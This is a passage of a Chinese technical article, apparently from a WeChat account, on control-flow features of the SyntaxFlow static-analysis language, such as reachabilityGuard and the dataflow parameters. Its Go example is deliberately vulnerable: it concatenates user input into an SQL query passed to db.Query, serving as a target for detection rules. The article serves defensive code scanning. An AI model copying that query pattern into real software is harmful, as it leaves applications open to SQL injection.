class="code-snippet__title">Error</span>(w, <span class="code-snippet__string">&#34;bad id&#34;</span>, http.<span class="code-snippet__property">StatusBadRequest</span>)</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">return</span></span></code><br/><code><span leaf="">}</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// 过滤 2：租户</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> !<span class="code-snippet__title">filterMatchTenant</span>(<span class="code-snippet__params">id, tenant</span>) {</span></code><br/><code><span leaf="">    http.<span class="code-snippet__title">Error</span>(w, <span class="code-snippet__string">&#34;tenant mismatch&#34;</span>, http.<span class="code-snippet__property">StatusForbidden</span>)</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">return</span></span></code><br/><code><span leaf="">}</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// 过滤 3：角色（仅 admin/operator 可查）</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> !<span class="code-snippet__title">filterRequireRole</span>(<span class="code-snippet__params">role, </span><span class="code-snippet__params"><span class="code-snippet__string">&#34;admin&#34;</span></span><span class="code-snippet__params">, </span><span class="code-snippet__params"><span class="code-snippet__string">&#34;operator&#34;</span></span>) {</span></code><br/><code><span leaf="">    http.<span class="code-snippet__title">Error</span>(w, <span class="code-snippet__string">&#34;forbidden&#34;</span>, http.<span class="code-snippet__property">StatusForbidden</span>)</span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">return</span></span></code><br/><code><span leaf="">}</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// 过滤 4：审计（不 return）</span></span></code><br/><code><span leaf=""><span class="code-snippet__title">filterAuditLog</span>(w, <span class="code-snippet__string">&#34;getUser&#34;</span>, id)</span></code><br/><code><span leaf=""><span class="code-snippet__comment">// 仍危险：校验通过后仍拼接</span></span></code><br/><code><span leaf="">limitStr := r.<span class="code-snippet__property">URL</span>.<span class="code-snippet__title">Query</span>().<span class="code-snippet__title">Get</span>(<span class="code-snippet__string">&#34;limit&#34;</span>)</span></code><br/><code><span leaf="">limit, _ := strconv.<span class="code-snippet__title">Atoi</span>(limitStr)</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> limit &lt;= <span class="code-snippet__number">0</span> {</span></code><br/><code><span leaf="">    limit = <span class="code-snippet__number">10</span></span></code><br/><code><span leaf="">}</span></code><br/><code><span leaf="">query := fmt.<span class="code-snippet__title">Sprintf</span>(</span></code><br/><code><span leaf="">    <span class="code-snippet__string">&#34;SELECT id, name FROM users WHERE id = %s AND tenant = &#39;%s&#39; LIMIT %d&#34;</span>,</span></code><br/><code><span leaf="">    id, tenant, limit,</span></code><br/><code><span leaf="">)</span></code><br/><code><span leaf="">_, _ = db.<span class="code-snippet__title">Query</span>(query) <span class="code-snippet__comment">// sink</span></span></code><br/></pre></p><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">在上述的案例中有</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">3个关键的过滤函数 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">filterValidateID</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">，</span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">filterMatchTenant</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">，</span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">filterRequireRole</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">，一个无效的过滤函数 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">filterAuditLog</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">，</span><span textstyle="" style="letter-spacing: 1px;">控制流结构如下：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span leaf="">入口</span></code><br/><code><span leaf="">  → Get(id), Get(tenant), Header(role)</span></code><br/><code><span leaf="">  → [filterValidateID]     ─失败→ <span class="code-snippet__keyword">return</span></span></code><br/><code><span leaf="">  → [filterMatchTenant]    ─失败→ <span class="code-snippet__keyword">return</span></span></code><br/><code><span leaf="">  → [filterRequireRole]    ─失败→ <span class="code-snippet__keyword">return</span></span></code><br/><code><span leaf="">  → filterAuditLog         （无 <span class="code-snippet__keyword">return</span>）</span></code><br/><code><span leaf="">  → Get(limit) → Sprintf   ─┐</span></code><br/><code><span leaf="">  → db.Query               ← sink（仅「三路校验都过」可达）</span></code><br/></pre></p><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">尽管我们可以通过串联 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">cfgGuards</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">和 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">cfgCondition</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">自底向上追溯调用链，但此方案存在</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">局限</span><span textstyle="" style="letter-spacing: 1px;">：在进行代码扫描时，我们无法预知过滤函数的准确数量。若仅配置一次 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">cfgCondition</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">，则大概率只能定位到调用链末端的最终过滤函数，而无法回溯到链上的所有中间函数。</span></span></p><p style="margin: 8px;line-height: 1.6em;text-align: left;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">下面 Syntaxflow 规则将使用 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">reachabilityGuard</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">一次性</span><span textstyle="" style="letter-spacing: 1px;">找到所有有效的过滤函数：</span></span></p><pre style="white-space:pre-wrap;" data-pm-slice="0 0 []"><code data-lark-language="Bash" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="php"><code><span leaf="">&lt;<span class="code-snippet__keyword">include</span>(<span class="code-snippet__string">&#34;golang-user-input&#34;</span>)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$from</span></span></code><br/><br/><code><span leaf="">db.<span class="code-snippet__title">Query</span>(* <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$to</span>)</span></code><br/><br/><code><span leaf=""><span class="code-snippet__variable">$from</span>&lt;<span class="code-snippet__title">reachabilityGuard</span>(target=<span class="code-snippet__string">&#34;</span><span class="code-snippet__string"><span class="code-snippet__subst">$to</span></span><span class="code-snippet__string">&#34;</span>, mode=<span class="code-snippet__string">&#34;mustExecute&#34;</span>)&gt; <span class="code-snippet__keyword">as</span> <span class="code-snippet__variable">$guard</span>;</span></code><br/><br/></pre></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mpz09yj61qbo" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.24450084602368866" data-s="300,640" data-type="png" data-w="1182" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046182" src="https://wechat2rss.xlab.app/img-proxy/?k=b564c939&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72EBDdtxt22xia3Deuo9SibuhAYlPHTq2jISicn297TpdtZ60EowdMBckGoFNIQ75O8thXmDsfFddghgPy3FBKtF4AZPtibBW41h4VM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-pm-slice="0 0 []" style="margin: 8px;line-height: 1.6em;"><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">reachabilityGuard</span></span></code><br/><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 就是为了解决这个问题而出现的，它的含义为：</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">控制流想要从 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">from</span></span></code><br/><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;"> 移动到 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">to</span></span></code><br/><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;"> 的途中需要满足的所有条件。</span></span></p></code><br/></pre><div data-pm-slice="5 4 []"><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;"><p style="margin-bottom: 2px;outline: 0px;"><h2 data-pm-slice="0 0 []"><span leaf="" mpa-font-style="mpyza0qc1mcy" style="font-size: 18px;" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">四、对旧的语法补充控制流分析功能</span></span></h2></p></div></div><div><div><div><div data-pm-slice="7 8 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);margin-left: 0;margin-right: 0;" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="" mpa-font-style="mpyzdrkt1tae">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-left: 0;margin-right: 0;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><p style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><h4 data-pm-slice="0 0 []"><code><span leaf="" mpa-font-style="mq0huj7iu6w" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;" data-mpa-action-id="mq0huj7rec3" data-pm-slice="0 0 []"><span textstyle="" style="font-weight: bold;">1.&lt;dataflow(...)&gt;</span></span></code></h4></p></div></div></div></div></div></div><p data-pm-slice="0 0 []" style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;text-align: left;"><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">&lt;dataflow(...)&gt;</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 是 SyntaxFlow 的 native call，在原有 include / exclude / end 路径过滤之上，增加了 按 CFG 锚点裁剪的参数。</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;text-align: left;"><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">1.only_reachable</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">：指定锚点符号（如 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">$thenCfg</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">），通常来自 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">&lt;getCfg&gt;</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">，也可以是 frame 里任意能映射到基本块的 SSA 值；只保留</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">「定义点 CFG 能到达该锚点」</span><span textstyle="" style="letter-spacing: 1px;">的结果。</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;text-align: left;"><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">2.only_reachable_mode</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">：</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">控制 CFG 过滤时机。</span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">post</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 在 include/exclude 路径匹配完成后，再按锚点后滤结果；</span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">path</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 在枚举 dataflow 路径时，对每一步扩展做可达性约束。</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;text-align: left;"><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">3.strict</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">：设为 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">true</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;"> 时等价于 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">only_reachable_mode=&#34;path&#34;</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">，即启用路径级 CFG 过滤。</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;text-align: left;"><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">4.icfg</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">：过程内 CFG 判不可达时，是否启用跨过程 ICFG 再判可达；用于 caller → callee 等跨函数场景。</span></span></p><p style="white-space: pre-wrap;margin: 8px;line-height: 1.6em;text-align: left;"><code><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 